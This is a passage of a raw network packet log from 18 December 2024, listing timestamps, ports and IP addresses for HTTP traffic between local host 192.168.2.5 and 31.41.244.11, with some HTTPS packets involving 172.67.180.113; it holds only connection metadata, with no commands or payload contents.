Dec 18, 2024 21:30:31.098767996 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.098798990 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.099529028 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.099580050 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.099673986 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.099714994 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.100569010 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.100615025 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.100693941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.100733995 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.101716995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.101763964 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.101773977 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.101804018 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.103151083 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.103173018 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.103199005 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.103215933 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.103833914 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.103883028 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.104063988 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.104640961 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.105015039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.105058908 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.105181932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.105221033 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.105544090 CET	443	49811	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:31.105612040 CET	49811	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:31.105886936 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.106009007 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.106936932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.107002974 CET	49811	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:31.107018948 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.107023954 CET	443	49811	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:31.107084990 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.107131958 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.107989073 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.108036995 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.108128071 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.108129025 CET	443	49811	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:31.108176947 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.109071970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.109260082 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.109432936 CET	49811	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:31.109462023 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.109702110 CET	49811	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:31.110183954 CET	443	49811	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:31.110229969 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.110306978 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.110436916 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.110480070 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.111274958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.111330986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.111397028 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.111510038 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.112221956 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.112278938 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.112425089 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.112469912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.113322020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.113377094 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.113451958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.113492012 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.114393950 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.114458084 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.114533901 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.114574909 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.115484953 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.115540981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.115741968 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.115787983 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.116431952 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.116487026 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.116569996 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.116614103 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.117475986 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.117527962 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.117662907 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.117705107 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.118597031 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.118655920 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.118889093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.118932962 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.119750977 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.119844913 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.119904995 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.120678902 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.120728970 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.120824099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.120867014 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.121961117 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.121978998 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.122016907 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.122766972 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.122823954 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.122932911 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.122981071 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.123862982 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.123915911 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.123992920 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.124033928 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.124912024 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.124978065 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.125071049 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.125195980 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.125966072 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.126019001 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.126152992 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.126197100 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.127054930 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.127109051 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.127196074 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.127240896 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.128073931 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.128123045 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.128273964 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.128319025 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.129127979 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.129179001 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.129285097 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.129332066 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.130167007 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.130215883 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.130331039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.130373955 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.131336927 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.131391048 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.131437063 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.131480932 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.132280111 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.132328033 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.132457972 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.132504940 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.133322001 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.133368015 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.133491993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.133537054 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.134371996 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.134419918 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.134550095 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.134593964 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.135479927 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.135524988 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.135646105 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.135684013 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.136512041 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.136559010 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.136676073 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.136718035 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.137613058 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.137660027 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.137752056 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.137793064 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.138624907 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.138674974 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.138811111 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.138849974 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.139673948 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.139724970 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.139888048 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.139930964 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.140788078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.140836954 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.140908957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.140949965 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.141805887 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.141854048 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.141992092 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.142034054 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.142848969 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.142896891 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.143060923 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.143105030 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.143991947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.144040108 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.144119978 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.144161940 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.145052910 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.145097017 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.145323038 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.145374060 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.145756006 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.145807981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.145941019 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.146001101 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.146821976 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.146873951 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.146966934 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.147022963 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.147875071 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.147927999 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.148034096 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.148080111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.148929119 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.148988962 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.289252043 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.289328098 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.289408922 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.289472103 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.289918900 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.289963961 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.290349007 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.290397882 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.291016102 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.291053057 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.291065931 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.291100025 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.291630030 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.291686058 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.291800022 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.291846991 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.292743921 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.292798996 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.292876005 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.292933941 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.293464899 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.293499947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.293515921 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.293550014 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.293596983 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.293646097 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.293648958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.293694973 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.294178963 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.294215918 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.294230938 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.294260025 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.294800043 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.294850111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.295146942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.295193911 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.296094894 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.296129942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.296148062 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.296186924 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.296240091 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.296292067 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.296457052 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.296508074 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.297207117 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.297260046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.297262907 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.297302008 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.298089981 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.298142910 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.298511028 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.298563004 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.299278975 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.299331903 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.299438000 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.299487114 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.300215960 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.300271034 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.300384998 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.300436974 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.301322937 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.301374912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.301630974 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.301682949 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.302654982 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.302692890 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.302712917 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.302752018 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.303384066 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.303437948 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.303560019 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.303613901 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.304687977 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.304723024 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.304739952 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.304780006 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.305695057 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.305730104 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.305743933 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.305783987 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.306690931 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.306742907 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.306858063 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.306905031 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.307677031 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.307724953 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.307801962 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.307848930 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.309725046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.309776068 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.309849977 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.309891939 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.310264111 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.310297966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.310307980 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.310343027 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.310854912 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.310900927 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.311012030 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.311064005 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.312171936 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.312227011 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.312659025 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.312711000 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.313271999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.313308001 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.313323021 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.313359022 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.314234972 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.314289093 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.314376116 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.314424038 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.315310955 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.315366983 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.315377951 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.315416098 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.316119909 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.316173077 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.316257954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.316303015 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.319843054 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.319902897 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.320171118 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.320225000 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.320822954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.320858002 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.320872068 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.320908070 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.321466923 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.321517944 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.321634054 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.321681023 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.322619915 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.322668076 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.322757006 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.322892904 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.323779106 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.323834896 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.323925972 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.323972940 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.324431896 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.324477911 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.325668097 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:31.325726986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:31.325754881 CET	80	49808	31.41.244.11	192.168.2.5
